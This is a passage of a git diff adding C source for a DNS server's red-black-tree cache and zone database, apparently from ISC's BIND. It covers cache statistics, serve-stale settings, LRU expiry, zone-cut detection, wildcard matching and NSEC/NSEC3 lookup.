+
+	return (result);
+}
+
+static size_t
+hashsize(dns_db_t *db) {
+	dns_rbtdb_t *rbtdb = NULL;
+	size_t size;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+
+	rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+	size = dns_rbt_hashsize(rbtdb->tree);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+
+	return (size);
+}
+
+static isc_result_t
+setcachestats(dns_db_t *db, isc_stats_t *stats) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb)); /* current restriction */
+	REQUIRE(stats != NULL);
+
+	isc_stats_attach(stats, &rbtdb->cachestats);
+	return (ISC_R_SUCCESS);
+}
+
+static dns_stats_t *
+getrrsetstats(dns_db_t *db) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb)); /* current restriction */
+
+	return (rbtdb->rrsetstats);
+}
+
+static isc_result_t
+setservestalettl(dns_db_t *db, dns_ttl_t ttl) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb));
+
+	/* currently no bounds checking.  0 means disable. */
+	rbtdb->common.serve_stale_ttl = ttl;
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+getservestalettl(dns_db_t *db, dns_ttl_t *ttl) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb));
+
+	*ttl = rbtdb->common.serve_stale_ttl;
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+setservestalerefresh(dns_db_t *db, uint32_t interval) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb));
+
+	/* currently no bounds checking.  0 means disable. */
+	rbtdb->serve_stale_refresh = interval;
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+getservestalerefresh(dns_db_t *db, uint32_t *interval) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(IS_CACHE(rbtdb));
+
+	*interval = rbtdb->serve_stale_refresh;
+	return (ISC_R_SUCCESS);
+}
+
+static void
+expiredata(dns_db_t *db, dns_dbnode_t *node, void *data) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_slabheader_t *header = data;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+
+	NODE_WRLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+	dns__cachedb_expireheader(header, &tlocktype,
+				  dns_expire_flush DNS__DB_FLARG_PASS);
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
+	INSIST(tlocktype == isc_rwlocktype_none);
+}
+
+dns_dbmethods_t dns__rbtdb_cachemethods = {
+	.destroy = dns__rbtdb_destroy,
+	.currentversion = dns__rbtdb_currentversion,
+	.newversion = dns__rbtdb_newversion,
+	.attachversion = dns__rbtdb_attachversion,
+	.closeversion = dns__rbtdb_closeversion,
+	.findnode = dns__rbtdb_findnode,
+	.find = cache_find,
+	.findzonecut = cache_findzonecut,
+	.attachnode = dns__rbtdb_attachnode,
+	.detachnode = dns__rbtdb_detachnode,
+	.createiterator = dns__rbtdb_createiterator,
+	.findrdataset = cache_findrdataset,
+	.allrdatasets = dns__rbtdb_allrdatasets,
+	.addrdataset = dns__rbtdb_addrdataset,
+	.subtractrdataset = dns__rbtdb_subtractrdataset,
+	.deleterdataset = dns__rbtdb_deleterdataset,
+	.nodecount = dns__rbtdb_nodecount,
+	.setloop = dns__rbtdb_setloop,
+	.getoriginnode = dns__rbtdb_getoriginnode,
+	.getrrsetstats = getrrsetstats,
+	.setcachestats = setcachestats,
+	.hashsize = hashsize,
+	.setservestalettl = setservestalettl,
+	.getservestalettl = getservestalettl,
+	.setservestalerefresh = setservestalerefresh,
+	.getservestalerefresh = getservestalerefresh,
+	.locknode = dns__rbtdb_locknode,
+	.unlocknode = dns__rbtdb_unlocknode,
+	.expiredata = expiredata,
+	.deletedata = dns__rbtdb_deletedata,
+};
+
+/*
+ * Caller must hold the node (write) lock.
+ */
+void
+dns__cachedb_expireheader(dns_slabheader_t *header,
+			  isc_rwlocktype_t *tlocktypep,
+			  dns_expire_t reason DNS__DB_FLARG) {
+	dns__rbtdb_setttl(header, 0);
+	dns__rbtdb_mark(header, DNS_SLABHEADERATTR_ANCIENT);
+	HEADER_NODE(header)->dirty = 1;
+
+	if (isc_refcount_current(&HEADER_NODE(header)->references) == 0) {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_write;
+		dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)header->db;
+
+		/*
+		 * If no one else is using the node, we can clean it up now.
+		 * We first need to gain a new reference to the node to meet a
+		 * requirement of dns__rbtdb_decref().
+		 */
+		dns__rbtdb_newref(rbtdb, HEADER_NODE(header),
+				  nlocktype DNS__DB_FLARG_PASS);
+		dns__rbtdb_decref(rbtdb, HEADER_NODE(header), 0, &nlocktype,
+				  tlocktypep, true, false DNS__DB_FLARG_PASS);
+
+		if (rbtdb->cachestats == NULL) {
+			return;
+		}
+
+		switch (reason) {
+		case dns_expire_ttl:
+			isc_stats_increment(rbtdb->cachestats,
+					    dns_cachestatscounter_deletettl);
+			break;
+		case dns_expire_lru:
+			isc_stats_increment(rbtdb->cachestats,
+					    dns_cachestatscounter_deletelru);
+			break;
+		default:
+			break;
+		}
+	}
+}
+
+static size_t
+rdataset_size(dns_slabheader_t *header) {
+	if (!NONEXISTENT(header)) {
+		return (dns_rdataslab_size((unsigned char *)header,
+					   sizeof(*header)));
+	}
+
+	return (sizeof(*header));
+}
+
+static size_t
+expire_lru_headers(dns_rbtdb_t *rbtdb, unsigned int locknum,
+		   isc_rwlocktype_t *tlocktypep,
+		   size_t purgesize DNS__DB_FLARG) {
+	dns_slabheader_t *header = NULL, *header_prev = NULL;
+	size_t purged = 0;
+
+	for (header = ISC_LIST_TAIL(rbtdb->lru[locknum]);
+	     header != NULL && purged <= purgesize; header = header_prev)
+	{
+		size_t header_size = rdataset_size(header);
+		header_prev = ISC_LIST_PREV(header, link);
+
+		/*
+		 * Unlink the entry at this point to avoid checking it
+		 * again even if it's currently used someone else and
+		 * cannot be purged at this moment.  This entry won't be
+		 * referenced any more (so unlinking is safe) since the
+		 * TTL was reset to 0.
+		 */
+		ISC_LIST_UNLINK(rbtdb->lru[locknum], header, link);
+		dns__cachedb_expireheader(header, tlocktypep,
+					  dns_expire_lru DNS__DB_FLARG_PASS);
+		purged += header_size;
+	}
+
+	return (purged);
+}
+
+/*%
+ * Purge some expired and/or stale (i.e. unused for some period) cache entries
+ * due to an overmem condition.  To recover from this condition quickly,
+ * we clean up entries up to the size of newly added rdata that triggered
+ * the overmem; this is accessible via newheader.
+ *
+ * This process is triggered while adding a new entry, and we specifically
+ * avoid purging entries in the same LRU bucket as the one to which the new
+ * entry will belong.  Otherwise, we might purge entries of the same name
+ * of different RR types while adding RRsets from a single response
+ * (consider the case where we're adding A and AAAA glue records of the
+ * same NS name).
+ */
+void
+dns__cachedb_overmem(dns_rbtdb_t *rbtdb, dns_slabheader_t *newheader,
+		     unsigned int locknum_start,
+		     isc_rwlocktype_t *tlocktypep DNS__DB_FLARG) {
+	unsigned int locknum;
+	size_t purgesize = rdataset_size(newheader);
+	size_t purged = 0;
+
+	for (locknum = (locknum_start + 1) % rbtdb->node_lock_count;
+	     locknum != locknum_start && purged <= purgesize;
+	     locknum = (locknum + 1) % rbtdb->node_lock_count)
+	{
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		NODE_WRLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+
+		purged += expire_lru_headers(rbtdb, locknum, tlocktypep,
+					     purgesize -
+						     purged DNS__DB_FLARG_PASS);
+
+		NODE_UNLOCK(&rbtdb->node_locks[locknum].lock, &nlocktype);
+	}
+}
diff --git a/lib/dns/rbt-zonedb.c b/lib/dns/rbt-zonedb.c
new file mode 100644
index 0000000000..6f60aa1aa8
--- /dev/null
+++ b/lib/dns/rbt-zonedb.c
@@ -0,0 +1,2548 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+#include <sys/mman.h>
+
+#include <isc/ascii.h>
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/crc64.h>
+#include <isc/file.h>
+#include <isc/hash.h>
+#include <isc/hashmap.h>
+#include <isc/heap.h>
+#include <isc/hex.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/once.h>
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
+#include <isc/serial.h>
+#include <isc/stdio.h>
+#include <isc/string.h>
+#include <isc/time.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/callbacks.h>
+#include <dns/db.h>
+#include <dns/dbiterator.h>
+#include <dns/fixedname.h>
+#include <dns/log.h>
+#include <dns/masterdump.h>
+#include <dns/nsec.h>
+#include <dns/nsec3.h>
+#include <dns/rbt.h>
+#include <dns/rdata.h>
+#include <dns/rdataset.h>
+#include <dns/rdatasetiter.h>
+#include <dns/rdataslab.h>
+#include <dns/rdatastruct.h>
+#include <dns/stats.h>
+#include <dns/time.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+#include <dns/zonekey.h>
+
+#include "rbtdb_p.h"
+
+#define CHECK(op)                            \
+	do {                                 \
+		result = (op);               \
+		if (result != ISC_R_SUCCESS) \
+			goto failure;        \
+	} while (0)
+
+#define EXISTS(header)                                 \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NONEXISTENT) == 0)
+#define NONEXISTENT(header)                            \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_NONEXISTENT) != 0)
+#define IGNORE(header)                                 \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_IGNORE) != 0)
+#define RESIGN(header)                                 \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_RESIGN) != 0)
+#define ANCIENT(header)                                \
+	((atomic_load_acquire(&(header)->attributes) & \
+	  DNS_SLABHEADERATTR_ANCIENT) != 0)
+
+#define RBTDB_ATTR_LOADED  0x01
+#define RBTDB_ATTR_LOADING 0x02
+
+static isc_result_t
+findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
+	      dns_dbnode_t **nodep DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+
+	return (dns__rbtdb_findnodeintree(rbtdb, rbtdb->nsec3, name, create,
+					  nodep DNS__DB_FLARG_PASS));
+}
+
+static isc_result_t
+zone_zonecut_callback(dns_rbtnode_t *node, dns_name_t *name,
+		      void *arg DNS__DB_FLARG) {
+	rbtdb_search_t *search = arg;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	dns_slabheader_t *dname_header = NULL, *sigdname_header = NULL;
+	dns_slabheader_t *ns_header = NULL;
+	dns_slabheader_t *found = NULL;
+	isc_result_t result = DNS_R_CONTINUE;
+	dns_rbtnode_t *onode = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	/*
+	 * We only want to remember the topmost zone cut, since it's the one
+	 * that counts, so we'll just continue if we've already found a
+	 * zonecut.
+	 */
+	if (search->zonecut != NULL) {
+		return (result);
+	}
+
+	onode = search->rbtdb->origin_node;
+
+	NODE_RDLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+		    &nlocktype);
+
+	/*
+	 * Look for an NS or DNAME rdataset active in our version.
+	 */
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (header->type == dns_rdatatype_ns ||
+		    header->type == dns_rdatatype_dname ||
+		    header->type == RBTDB_RDATATYPE_SIGDNAME)
+		{
+			do {
+				if (header->serial <= search->serial &&
+				    !IGNORE(header))
+				{
+					/*
+					 * Is this a "this rdataset doesn't
+					 * exist" record?
+					 */
+					if (NONEXISTENT(header)) {
+						header = NULL;
+					}
+					break;
+				} else {
+					header = header->down;
+				}
+			} while (header != NULL);
+			if (header != NULL) {
+				if (header->type == dns_rdatatype_dname) {
+					dname_header = header;
+				} else if (header->type ==
+					   RBTDB_RDATATYPE_SIGDNAME)
+				{
+					sigdname_header = header;
+				} else if (node != onode ||
+					   IS_STUB(search->rbtdb))
+				{
+					/*
+					 * We've found an NS rdataset that
+					 * isn't at the origin node.  We check
+					 * that they're not at the origin node,
+					 * because otherwise we'd erroneously
+					 * treat the zone top as if it were
+					 * a delegation.
+					 */
+					ns_header = header;
+				}
+			}
+		}
+	}
+
+	/*
+	 * Did we find anything?
+	 */
+	if (!IS_STUB(search->rbtdb) && ns_header != NULL) {
+		/*
+		 * Note that NS has precedence over DNAME if both exist
+		 * in a zone.  Otherwise DNAME take precedence over NS.
+		 */
+		found = ns_header;
+		search->zonecut_sigheader = NULL;
+	} else if (dname_header != NULL) {
+		found = dname_header;
+		search->zonecut_sigheader = sigdname_header;
+	} else if (ns_header != NULL) {
+		found = ns_header;
+		search->zonecut_sigheader = NULL;
+	}
+
+	if (found != NULL) {
+		/*
+		 * We increment the reference count on node to ensure that
+		 * search->zonecut_header will still be valid later.
+		 */
+		dns__rbtdb_newref(search->rbtdb, node,
+				  isc_rwlocktype_read DNS__DB_FLARG_PASS);
+		search->zonecut = node;
+		search->zonecut_header = found;
+		search->need_cleanup = true;
+		/*
+		 * Since we've found a zonecut, anything beneath it is
+		 * glue and is not subject to wildcard matching, so we
+		 * may clear search->wild.
+		 */
+		search->wild = false;
+		if ((search->options & DNS_DBFIND_GLUEOK) == 0) {
+			/*
+			 * If the caller does not want to find glue, then
+			 * this is the best answer and the search should
+			 * stop now.
+			 */
+			result = DNS_R_PARTIALMATCH;
+		} else {
+			dns_name_t *zcname = NULL;
+
+			/*
+			 * The search will continue beneath the zone cut.
+			 * This may or may not be the best match.  In case it
+			 * is, we need to remember the node name.
+			 */
+			zcname = dns_fixedname_name(&search->zonecut_name);
+			dns_name_copy(name, zcname);
+			search->copy_name = true;
+		}
+	} else {
+		/*
+		 * There is no zonecut at this node which is active in this
+		 * version.
+		 *
+		 * If this is a "wild" node and the caller hasn't disabled
+		 * wildcard matching, remember that we've seen a wild node
+		 * in case we need to go searching for wildcard matches
+		 * later on.
+		 */
+		if (node->wild && (search->options & DNS_DBFIND_NOWILD) == 0) {
+			search->wild = true;
+		}
+	}
+
+	NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+		    &nlocktype);
+
+	return (result);
+}
+
+static isc_result_t
+setup_delegation(rbtdb_search_t *search, dns_dbnode_t **nodep,
+		 dns_name_t *foundname, dns_rdataset_t *rdataset,
+		 dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_name_t *zcname = NULL;
+	dns_typepair_t type;
+	dns_rbtnode_t *node = NULL;
+
+	REQUIRE(search != NULL);
+	REQUIRE(search->zonecut != NULL);
+	REQUIRE(search->zonecut_header != NULL);
+
+	/*
+	 * The caller MUST NOT be holding any node locks.
+	 */
+
+	node = search->zonecut;
+	type = search->zonecut_header->type;
+
+	/*
+	 * If we have to set foundname, we do it before anything else.
+	 * If we were to set foundname after we had set nodep or bound the
+	 * rdataset, then we'd have to undo that work if dns_name_copy()
+	 * failed.  By setting foundname first, there's nothing to undo if
+	 * we have trouble.
+	 */
+	if (foundname != NULL && search->copy_name) {
+		zcname = dns_fixedname_name(&search->zonecut_name);
+		dns_name_copy(zcname, foundname);
+	}
+	if (nodep != NULL) {
+		/*
+		 * Note that we don't have to increment the node's reference
+		 * count here because we're going to use the reference we
+		 * already have in the search block.
+		 */
+		*nodep = node;
+		search->need_cleanup = false;
+	}
+	if (rdataset != NULL) {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		NODE_RDLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		dns__rbtdb_bindrdataset(search->rbtdb, node,
+					search->zonecut_header, search->now,
+					isc_rwlocktype_read,
+					rdataset DNS__DB_FLARG_PASS);
+		if (sigrdataset != NULL && search->zonecut_sigheader != NULL) {
+			dns__rbtdb_bindrdataset(
+				search->rbtdb, node, search->zonecut_sigheader,
+				search->now, isc_rwlocktype_read,
+				sigrdataset DNS__DB_FLARG_PASS);
+		}
+		NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+	}
+
+	if (type == dns_rdatatype_dname) {
+		return (DNS_R_DNAME);
+	}
+	return (DNS_R_DELEGATION);
+}
+
+static bool
+activeempty(rbtdb_search_t *search, dns_rbtnodechain_t *chain,
+	    const dns_name_t *name) {
+	dns_fixedname_t fnext;
+	dns_fixedname_t forigin;
+	dns_name_t *next = NULL;
+	dns_name_t *origin = NULL;
+	dns_name_t prefix;
+	dns_rbtdb_t *rbtdb = NULL;
+	dns_rbtnode_t *node = NULL;
+	isc_result_t result;
+	bool answer = false;
+	dns_slabheader_t *header = NULL;
+
+	rbtdb = search->rbtdb;
+
+	dns_name_init(&prefix, NULL);
+	next = dns_fixedname_initname(&fnext);
+	origin = dns_fixedname_initname(&forigin);
+
+	result = dns_rbtnodechain_next(chain, NULL, NULL);
+	while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		node = NULL;
+		result = dns_rbtnodechain_current(chain, &prefix, origin,
+						  &node);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+		NODE_RDLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		for (header = node->data; header != NULL; header = header->next)
+		{
+			if (header->serial <= search->serial &&
+			    !IGNORE(header) && EXISTS(header))
+			{
+				break;
+			}
+		}
+		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		if (header != NULL) {
+			break;
+		}
+		result = dns_rbtnodechain_next(chain, NULL, NULL);
+	}
+	if (result == ISC_R_SUCCESS) {
+		result = dns_name_concatenate(&prefix, origin, next, NULL);
+	}
+	if (result == ISC_R_SUCCESS && dns_name_issubdomain(next, name)) {
+		answer = true;
+	}
+	return (answer);
+}
+
+static bool
+activeemptynode(rbtdb_search_t *search, const dns_name_t *qname,
+		dns_name_t *wname) {
+	dns_fixedname_t fnext;
+	dns_fixedname_t forigin;
+	dns_fixedname_t fprev;
+	dns_name_t *next = NULL;
+	dns_name_t *origin = NULL;
+	dns_name_t *prev = NULL;
+	dns_name_t name;
+	dns_name_t rname;
+	dns_name_t tname;
+	dns_rbtdb_t *rbtdb = NULL;
+	dns_rbtnode_t *node = NULL;
+	dns_rbtnodechain_t chain;
+	bool check_next = true;
+	bool check_prev = true;
+	bool answer = false;
+	isc_result_t result;
+	dns_slabheader_t *header = NULL;
+	unsigned int n;
+
+	rbtdb = search->rbtdb;
+
+	dns_name_init(&name, NULL);
+	dns_name_init(&tname, NULL);
+	dns_name_init(&rname, NULL);
+	next = dns_fixedname_initname(&fnext);
+	prev = dns_fixedname_initname(&fprev);
+	origin = dns_fixedname_initname(&forigin);
+
+	/*
+	 * Find if qname is at or below a empty node.
+	 * Use our own copy of the chain.
+	 */
+
+	chain = search->chain;
+	do {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		node = NULL;
+		result = dns_rbtnodechain_current(&chain, &name, origin, &node);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+		NODE_RDLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		for (header = node->data; header != NULL; header = header->next)
+		{
+			if (header->serial <= search->serial &&
+			    !IGNORE(header) && EXISTS(header))
+			{
+				break;
+			}
+		}
+		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		if (header != NULL) {
+			break;
+		}
+		result = dns_rbtnodechain_prev(&chain, NULL, NULL);
+	} while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN);
+	if (result == ISC_R_SUCCESS) {
+		result = dns_name_concatenate(&name, origin, prev, NULL);
+	}
+	if (result != ISC_R_SUCCESS) {
+		check_prev = false;
+	}
+
+	result = dns_rbtnodechain_next(&chain, NULL, NULL);
+	while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		node = NULL;
+		result = dns_rbtnodechain_current(&chain, &name, origin, &node);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+		NODE_RDLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		for (header = node->data; header != NULL; header = header->next)
+		{
+			if (header->serial <= search->serial &&
+			    !IGNORE(header) && EXISTS(header))
+			{
+				break;
+			}
+		}
+		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
+			    &nlocktype);
+		if (header != NULL) {
+			break;
+		}
+		result = dns_rbtnodechain_next(&chain, NULL, NULL);
+	}
+	if (result == ISC_R_SUCCESS) {
+		result = dns_name_concatenate(&name, origin, next, NULL);
+	}
+	if (result != ISC_R_SUCCESS) {
+		check_next = false;
+	}
+
+	dns_name_clone(qname, &rname);
+
+	/*
+	 * Remove the wildcard label to find the terminal name.
+	 */
+	n = dns_name_countlabels(wname);
+	dns_name_getlabelsequence(wname, 1, n - 1, &tname);
+
+	do {
+		if ((check_prev && dns_name_issubdomain(prev, &rname)) ||
+		    (check_next && dns_name_issubdomain(next, &rname)))
+		{
+			answer = true;
+			break;
+		}
+		/*
+		 * Remove the left hand label.
+		 */
+		n = dns_name_countlabels(&rname);
+		dns_name_getlabelsequence(&rname, 1, n - 1, &rname);
+	} while (!dns_name_equal(&rname, &tname));
+	return (answer);
+}
+
+static isc_result_t
+find_wildcard(rbtdb_search_t *search, dns_rbtnode_t **nodep,
+	      const dns_name_t *qname) {
+	unsigned int i, j;
+	dns_rbtnode_t *node = NULL, *level_node = NULL, *wnode = NULL;
+	dns_slabheader_t *header = NULL;
+	isc_result_t result = ISC_R_NOTFOUND;
+	dns_name_t name;
+	dns_name_t *wname = NULL;
+	dns_fixedname_t fwname;
+	dns_rbtdb_t *rbtdb = NULL;
+	bool done, wild, active;
+	dns_rbtnodechain_t wchain;
+
+	/*
+	 * Caller must be holding the tree lock and MUST NOT be holding
+	 * any node locks.
+	 */
+
+	/*
+	 * Examine each ancestor level.  If the level's wild bit
+	 * is set, then construct the corresponding wildcard name and
+	 * search for it.  If the wildcard node exists, and is active in
+	 * this version, we're done.  If not, then we next check to see
+	 * if the ancestor is active in this version.  If so, then there
+	 * can be no possible wildcard match and again we're done.  If not,
+	 * continue the search.
+	 */
+
+	rbtdb = search->rbtdb;
+	i = search->chain.level_matches;
+	done = false;
+	node = *nodep;
+	do {
+		isc_rwlock_t *lock = &rbtdb->node_locks[node->locknum].lock;
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+		NODE_RDLOCK(lock, &nlocktype);
+
+		/*
+		 * First we try to figure out if this node is active in
+		 * the search's version.  We do this now, even though we
+		 * may not need the information, because it simplifies the
+		 * locking and code flow.
+		 */
+		for (header = node->data; header != NULL; header = header->next)
+		{
+			if (header->serial <= search->serial &&
+			    !IGNORE(header) && EXISTS(header) &&
+			    !ANCIENT(header))
+			{
+				break;
+			}
+		}
+		if (header != NULL) {
+			active = true;
+		} else {
+			active = false;
+		}
+
+		if (node->wild) {
+			wild = true;
+		} else {
+			wild = false;
+		}
+
+		NODE_UNLOCK(lock, &nlocktype);
+
+		if (wild) {
+			/*
+			 * Construct the wildcard name for this level.
+			 */
+			dns_name_init(&name, NULL);
+			dns_rbt_namefromnode(node, &name);
+			wname = dns_fixedname_initname(&fwname);
+			result = dns_name_concatenate(dns_wildcardname, &name,
+						      wname, NULL);
+			j = i;
+			while (result == ISC_R_SUCCESS && j != 0) {
+				j--;
+				level_node = search->chain.levels[j];
+				dns_name_init(&name, NULL);
+				dns_rbt_namefromnode(level_node, &name);
+				result = dns_name_concatenate(wname, &name,
+							      wname, NULL);
+			}
+			if (result != ISC_R_SUCCESS) {
+				break;
+			}
+
+			wnode = NULL;
+			dns_rbtnodechain_init(&wchain);
+			result = dns_rbt_findnode(
+				rbtdb->tree, wname, NULL, &wnode, &wchain,
+				DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+			if (result == ISC_R_SUCCESS) {
+				/*
+				 * We have found the wildcard node.  If it
+				 * is active in the search's version, we're
+				 * done.
+				 */
+				lock = &rbtdb->node_locks[wnode->locknum].lock;
+				NODE_RDLOCK(lock, &nlocktype);
+				for (header = wnode->data; header != NULL;
+				     header = header->next)
+				{
+					if (header->serial <= search->serial &&
+					    !IGNORE(header) && EXISTS(header) &&
+					    !ANCIENT(header))
+					{
+						break;
+					}
+				}
+				NODE_UNLOCK(lock, &nlocktype);
+				if (header != NULL ||
+				    activeempty(search, &wchain, wname))
+				{
+					if (activeemptynode(search, qname,
+							    wname))
+					{
+						return (ISC_R_NOTFOUND);
+					}
+					/*
+					 * The wildcard node is active!
+					 *
+					 * Note: result is still ISC_R_SUCCESS
+					 * so we don't have to set it.
+					 */
+					*nodep = wnode;
+					break;
+				}
+			} else if (result != ISC_R_NOTFOUND &&
+				   result != DNS_R_PARTIALMATCH)
+			{
+				/*
+				 * An error has occurred.  Bail out.
+				 */
+				break;
+			}
+		}
+
+		if (active) {
+			/*
+			 * The level node is active.  Any wildcarding
+			 * present at higher levels has no
+			 * effect and we're done.
+			 */
+			result = ISC_R_NOTFOUND;
+			break;
+		}
+
+		if (i > 0) {
+			i--;
+			node = search->chain.levels[i];
+		} else {
+			done = true;
+		}
+	} while (!done);
+
+	return (result);
+}
+
+static bool
+matchparams(dns_slabheader_t *header, rbtdb_search_t *search) {
+	dns_rdata_t rdata = DNS_RDATA_INIT;
+	dns_rdata_nsec3_t nsec3;
+	unsigned char *raw = NULL;
+	unsigned int rdlen, count;
+	isc_region_t region;
+	isc_result_t result;
+
+	REQUIRE(header->type == dns_rdatatype_nsec3);
+
+	raw = (unsigned char *)header + sizeof(*header);
+	count = raw[0] * 256 + raw[1]; /* count */
+	raw += DNS_RDATASET_COUNT + DNS_RDATASET_LENGTH;
+
+	while (count-- > 0) {
+		rdlen = raw[0] * 256 + raw[1];
+		raw += DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
+		region.base = raw;
+		region.length = rdlen;
+		dns_rdata_fromregion(&rdata, search->rbtdb->common.rdclass,
+				     dns_rdatatype_nsec3, &region);
+		raw += rdlen;
+		result = dns_rdata_tostruct(&rdata, &nsec3, NULL);
+		INSIST(result == ISC_R_SUCCESS);
+		if (nsec3.hash == search->rbtversion->hash &&
+		    nsec3.iterations == search->rbtversion->iterations &&
+		    nsec3.salt_length == search->rbtversion->salt_length &&
+		    memcmp(nsec3.salt, search->rbtversion->salt,
+			   nsec3.salt_length) == 0)
+		{
+			return (true);
+		}
+		dns_rdata_reset(&rdata);
+	}
+	return (false);
+}
+
+/*
+ * Find node of the NSEC/NSEC3 record that is 'name'.
+ */
+static isc_result_t
+previous_closest_nsec(dns_rdatatype_t type, rbtdb_search_t *search,
+		      dns_name_t *name, dns_name_t *origin,
+		      dns_rbtnode_t **nodep, dns_rbtnodechain_t *nsecchain,
+		      bool *firstp) {
+	dns_fixedname_t ftarget;
+	dns_name_t *target = NULL;
+	dns_rbtnode_t *nsecnode = NULL;
+	isc_result_t result;
+
+	REQUIRE(nodep != NULL && *nodep == NULL);
+	REQUIRE(type == dns_rdatatype_nsec3 || firstp != NULL);
+
+	if (type == dns_rdatatype_nsec3) {
+		result = dns_rbtnodechain_prev(&search->chain, NULL, NULL);
+		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
+			return (result);
+		}
+		result = dns_rbtnodechain_current(&search->chain, name, origin,
+						  nodep);
+		return (result);
+	}
+
+	target = dns_fixedname_initname(&ftarget);
+
+	for (;;) {
+		if (*firstp) {
+			/*
+			 * Construct the name of the second node to check.
+			 * It is the first node sought in the NSEC tree.
+			 */
+			*firstp = false;
+			dns_rbtnodechain_init(nsecchain);
+			result = dns_name_concatenate(name, origin, target,
+						      NULL);
+			if (result != ISC_R_SUCCESS) {
+				return (result);
+			}
+			nsecnode = NULL;
+			result = dns_rbt_findnode(
+				search->rbtdb->nsec, target, NULL, &nsecnode,
+				nsecchain, DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+			if (result == ISC_R_SUCCESS) {
+				/*
+				 * Since this was the first loop, finding the
+				 * name in the NSEC tree implies that the first
+				 * node checked in the main tree had an
+				 * unacceptable NSEC record.
